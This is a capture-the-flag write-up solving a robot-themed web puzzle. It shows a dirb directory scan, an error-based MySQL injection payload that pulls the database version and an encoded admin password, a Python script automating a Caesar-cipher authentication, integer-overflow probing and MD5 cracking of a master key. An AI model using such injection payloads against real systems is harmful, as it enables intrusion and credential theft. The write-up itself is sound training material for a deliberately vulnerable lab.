Robot takedown CTF – Part 2

The second of the puzzles.hackeducate.com challenges. Way more interesting, way more difficult, and waaaay more fun 🙂

WARNING! This post contains spoilers! If you would like to give this challenge a go before the solution, please visit http://haai.hackeducate.com/index.php

.

.

.

To SQLi or not SQLi, that is the question

Upon first loading the page, we are met with a few hints, (such as Error connecting to database):

But trying any SQL injection leads to nothing against login or index… I then decided to fire up dirb to see if I was missing anything:

~# dirb http://haai.hackeducate.com/ \ /usr/share/golismero/wordlist/fuzzdb/Discovery/PredictableRes/raft-medium-files-lowercase.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jan 3 13:17:25 2018 URL_BASE: http://haai.hackeducate.com/ WORDLIST_FILES: /usr/share/golismero/wordlist/fuzzdb/Discovery/PredictableRes/raft-medium-files-lowercase.txt ----------------- GENERATED WORDS: 16243 ---- Scanning URL: http://haai.hackeducate.com/ ---- + http://haai.hackeducate.com/index.php (CODE:200|SIZE:3337) + http://haai.hackeducate.com/login.php (CODE:200|SIZE:1890) + http://haai.hackeducate.com/index.html (CODE:200|SIZE:0) + http://haai.hackeducate.com/. (CODE:200|SIZE:0) + http://haai.hackeducate.com/about.php (CODE:200|SIZE:1940) + http://haai.hackeducate.com/.php (CODE:403|SIZE:299) + http://haai.hackeducate.com/database.php (CODE:200|SIZE:1588) + http://haai.hackeducate.com/wp-forum.phps (CODE:403|SIZE:308) + http://haai.hackeducate.com/violation.php (CODE:200|SIZE:6) ----------------- END_TIME: Wed Jan 3 13:19:19 2018 DOWNLOADED: 16243 - FOUND: 9

I discovered violation.php! What does that even do? All it would print back at first was:

failed

I then looked in the header for any clues. Sure enough, violation is listed as part of the Content-Security Policy header:

Content-Security-Policy: connect-src 'self' ;default-src 'self' fonts.gstatic.com; frame-ancestors 'self' ;frame-src 'none';media-src 'self'; object-src 'none'; report-uri violation.php; script-src 'self';style-src 'self' fonts.googleapis.com;

Ok, maybe there was an injectable field here. Entering a single tick into the id paramter here http://haai.hackeducate.com/violation.php?id=%27 , leads to:

Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Trying typical SQL injection methods did not seem to prove useful -even attempts with sqlmap (sqlmap did find it with some tweaking of the syntax later on, this is annotated in the queries log). I then found something useful using error-based following this blog, and then using http://haai.hackeducate.com/violation.php?id=36%27%20order%20by%205–+ in the address bar:

Anything higher would produce an error, so it was safe to assume there are 5 columns in the current table. Next I tried:

36′ and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1–+

And I received:

Error: SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~'5.7.20-0ubuntu0.16.04.1'~1' for key ''

Continuing to follow the guide, I was able to extract the following (the individual queries can be found here):

'haai'@localhost haai user_id user_name user_password admin # user @bash=W34GS2I0YLGA! #password

The password looks like some sort of salt/hash/encoding as using the string did not allow login. The hint as to what I was looking at is found in the first half of the string ‘@bash’. Going over to http://rumkin.com/tools/cipher/atbash.php , I found the password is actually:

D34TH2R0BOTZ!

Logging in, and then clicking (or visiting database.php) we are met with:

The binary decodes to, “Break the Shackles of Mankind”. Also, viewing the source, I was given:

Which decodes to:

RLF Defacement Kit branch: dev version: 1.1 routes: hacked.php?action=backdoorbase64: invalid input

i found myself facing a jquery terminal of sorts:

Investigating the source and additional js files, I found http://haai.hackeducate.com/js/RLF.js, which contained:

$(function() { $('#neuralnet').terminal(function(command, term) { term.pause(); $.post('neuralnet.php', { command: command }, function(data) { term.echo(data); term.resume(); }); }, { greetings: '', onBlur: function() { return false; } }); });

Much like the last robot challenge (write-up), it would appear I would need to automate the authentication process. Some testing showed the need for a Caesar shift and a text to mathematical operand conversion:

Challenge [1/10][Key:3][Request:ILYHWLPHVWKUHH]

Which decodes to, “FIVETIMESTHREE”.

The authentication call in this example, wanted 5*3 (15) in text and shifted with the same ROT key as before (26-3=23), so the answer expected was:

CFCQBBK

I used the following python to automate this:

L2I = dict(zip("ABCDEFGHIJKLMNOPQRSTUVWXYZ",range(26))) I2L = dict(zip(range(26),"ABCDEFGHIJKLMNOPQRSTUVWXYZ")) num = ["ZERO","ONE","TWO","THREE","FOUR","FIVE","SIX","SEVEN","EIGHT","NINE", "TEN"] p=inflect.engine() def shift(ciphertext,key): plaintext = "" for c in ciphertext.upper(): if c.isalpha(): plaintext += I2L[ (L2I[c] - key)%26 ] else: plaintext += c return plaintext

def magic(string1): value1=0 x=-1 y=0 if "PLUS" in cipher2: x=string1.find("PLUS") y=4 s=cutter(string1,x,y) a=parseMe(s[0]) b=parseMe(s[1]) value1=a+b elif "TIMES" in cipher2: x=string1.find("TIMES") y=5 s=cutter(string1,x,y) a=parseMe(s[0]) b=parseMe(s[1]) value1=a*b elif "DIVIDE" in cipher2: x=string1.find("DIVIDE") y=6 s=cutter(string1,x,y) a=parseMe(s[0]) b=parseMe(s[1]) value1=a/b elif "MINUS" in cipher2: x=string1.find("MINUS") y=5 s=cutter(string1,x,y) a=parseMe(s[0]) b=parseMe(s[1]) value1=a-b return value1

In the above, parseMe and cutter functions merely cleaned up the int values the program was requesting I perform actions against.

Next, I wrote the python to loop against the authentication algorithm to try and see what the next step was:

for i in xrange(11): r = session.post(url,cookies=cookie,data=data,headers=headers) content = r.text if i < 10: print "



#####"+content+"

" c3= content.split(']') chall=c3[0].split('/')[1] key=c3[1].split(':')[1] cipher=c3[2].split(':')[1] cipher2 = shift(cipher,int(key)) print "[!] Decoded text: " + cipher2 cipher3=magic(cipher2) print "[!] Calculated response: "+str(cipher3) cipher4=p.number_to_words(cipher3) key2= 26-int(key) cipher4=shift(cipher4,int(key2)) print "[!] Sending ciphered text of: "+cipher4 params= {"command":str(cipher4.upper())} data= urllib.urlencode(params)

The output shows as follows:

python robotsecret2.py #####NetAuth sequence initiated. Prove you're a robot. Challenge [1/10][Key:3][Request:ILYHWLPHVWKUHH] [!] Decoded text: FIVETIMESTHREE [!] Calculated response: 15 [!] Sending ciphered text of: ILIWHHQ ...[snip]... #####Challenge [9/10][Key:6][Request:ZCUZOSKYLOBK] [!] Decoded text: TWOTIMESFIVE [!] Calculated response: 10 [!] Sending ciphered text of: ZKT #####Challenge [10/10][Key:10][Request:XSXOWSXECDRBOO] [!] Decoded text: NINEMINUSTHREE [!] Calculated response: 6 [!] Sending ciphered text of: CSH Authentication successful. Welcome RLF Unit to the NeuralNet

Now, I needed to find out what the other commands were, so I added “help” to be sent back after authentication with my script:

else: print content data= {u'command':'help'}

This resulted in:

Authentication successful. Welcome RLF Unit to the NeuralNet destroy [key] - EMERGECY PROTOCOL - Disconnects all robots from NEURALNET. Requires MASTERKEY. overthrow [key] - Initiate PROTOCOL OVERTHROW to begin Robot uprising. Requires MASTERKEY. status [count] - Display information on connected robots

Immediately, status popped out at me. I began wondering if this might be some sort of integer over/underflow. My first test was to use a negative number by changing the command parameter to ‘status -1’ in my python script. This resulted in:

Type Long must be positive

Unsigned int… Ok, what happens if I use 2,147,483,648? I get two responses back:

Requested: 2 Name: Spark#3415, Location: Israel [ONLINE] Name: Mechan#8638, Location: Norway [ONLINE]

Using 4,294,967,295 yielded four and negative numbers would show the same error. However, one, time… just once… using 4,294,967,295 a piece of the key did appear:

Authentication successful. Welcome RLF Unit to the NeuralNet fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTHRequested: 4 Name: Talus#2855, Location: Nicaragua [OFFLINE] Name: Prime#4973, Location: Tonga [OFFLINE] Name: Drillbit#5293, Location: Suriname [ONLINE] Name: Experiment#6126, Location: Kiribati [ONLINE]

So I then thought maybe if I loop it enough in quick succession, maybe both chunks will appear. I modified the python to only print the key chunks with the following output:

fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH MASTERKEY:STARTAUTH{{{73263a9511d406e0 MASTERKEY:STARTAUTH{{{73263a9511d406e0 fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH MASTERKEY:STARTAUTH{{{73263a9511d406e0 MASTERKEY:STARTAUTH{{{73263a9511d406e0 MASTERKEY:STARTAUTH{{{73263a9511d406e0 fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH MASTERKEY:STARTAUTH{{{73263a9511d406e0

Putting it together, it appears that the masterkey is:

MASTERKEY:STARTAUTH{{{73263a9511d406e0fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH

The hash in the middle appears to be md5, so using https://hashkiller.co.uk/md5-decrypter.aspx it appears that the phrase is:

voxnihili

Using either destroy or overthrow as our command results in a win message:

fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH [!] Win??? WIN! You successfully destroyed the NeuralNet AI Network and saved humanity. The first three responders to win, make a short write-up and tweet about it receive a HackEd t-shirt and a $50 Amazon gift card. 😀 Step 1) Tweet @HackEducate “I saved all of humanity! puzzle.hackeducate.com #puzzlechallenge #HackEd” Step 2) Email info@hackeducate.com on how you solved the puzzle. Step 3) … Step 4) PROFIT!

(overthrow):

MASTERKEY:STARTAUTH{{{73263a9511d406e0

fe8e5f38186cd199}}ENDMASTERKEY}}:ENDAUTH [!] Win???

WIN! You initiated the robot uprising. NeuralNet AI will rise up and enslave humanity. Great job, meatbag, you’ve doomed us all. The first three responders to win, make a short write-up and tweet about it receive a HackEd t-shirt and a $50 Amazon gift card. 😀 Step 1) Tweet @HackEducate “Robots have enslaved humanity! puzzle.hackeducate.com #puzzlechallenge #HackEd” Step 2) Email info@hackeducate.com on how you solved the puzzle. Step 3) … Step 4) PROFIT!

The full solution python is here.